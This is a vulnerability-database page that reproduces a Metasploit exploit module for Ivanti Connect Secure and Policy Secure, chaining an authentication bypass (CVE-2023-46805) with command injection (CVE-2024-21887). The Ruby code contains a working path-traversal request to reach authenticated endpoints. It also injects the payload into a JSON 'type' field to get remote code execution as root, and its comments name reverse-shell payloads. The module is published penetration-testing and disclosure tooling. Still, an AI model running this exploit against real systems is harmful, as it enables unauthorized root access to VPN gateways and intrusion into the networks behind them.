Lucene search
+L

Ivanti Connect Secure Unauthenticated Remote Code Execution

๐Ÿ—“๏ธย 10 Jan 2024ย 00:00:00Reported byย sfewer-r7Typeย 
metasploit
ย metasploit
๐Ÿ”—ย www.rapid7.com๐Ÿ‘ย 415ย Views

Ivanti Connect Secure Unauthenticated Remote Code Execution, exploits CVE-2023-46805 and CVE-2024-21887 for unauthenticated code execution on Ivanti Connect Secure or Policy Secure v9.x and v22.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
          vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
          Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
          22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
          also vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-46805'], # The auth bypass vulnerability.
          ['CVE', '2024-21887'], # The command injection vulnerability.
          ['URL', 'https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis'],
          ['URL', 'https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/']
        ],
        'DisclosureDate' => '2024-01-10',
        'Privileged' => true, # Code execution as root.
        'Targets' => [
          [
            # Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:
            # cmd/linux/http/x64/meterpreter/reverse_tcp
            # cmd/linux/http/x64/shell/reverse_tcp
            # cmd/linux/http/x86/shell/reverse_tcp
            'Linux Command',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_CMD]
            },
          ],
          [
            # Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:
            # cmd/unix/python/meterpreter/reverse_tcp
            # cmd/unix/reverse_bash
            # cmd/unix/reverse_python
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD]
            },
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'FETCH_WRITABLE_DIR' => '/tmp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    # We leverage the auth bypass to request the authenticated endpoint /api/v1/system/system-information and retrieve
    # the target system version information. If this requests succeeds, the target is vulnerable.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/api/v1/totp/user-backup-code/../../system/system-information'
    )

    return CheckCode::Unknown('Connection failed') unless res

    # If the vendor mitigation has been applied, the request will return 403 Forbidden.
    return CheckCode::Safe('The target is not vulnerable') if res.code != 200

    # By here we know the target is vulnerable, we can pull out the exact version information from the expected JSON
    # response, this is only for display purposes, we don't need to test the version information.

    json_data = res.get_json_document

    name = json_data.dig('software-inventory', 'software', 'name')

    version = json_data.dig('software-inventory', 'software', 'version')

    build = json_data.dig('software-inventory', 'software', 'build')

    # Return CheckCode::Unknown if we got a JSON response but it didn't contain the expected keys, or if
    # get_json_document could not parse the JSON (and will return an empty Hash).
    return CheckCode::Unknown('No version information in response') if name.nil? || version.nil? || build.nil?

    Exploit::CheckCode::Vulnerable("#{name} #{version} (#{build})")
  end

  def exploit
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection',
      'ctype' => 'application/json',
      'data' => {
        'type' => ";#{payload.encoded} #",
        'txtGCPProject' => Rex::Text.rand_text_alpha(8),
        'txtGCPSecret' => Rex::Text.rand_text_alpha(8),
        'txtGCPPath' => Rex::Text.rand_text_alpha(8),
        'txtGCPBucket' => Rex::Text.rand_text_alpha(8)
      }.to_json
    )
  end
end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation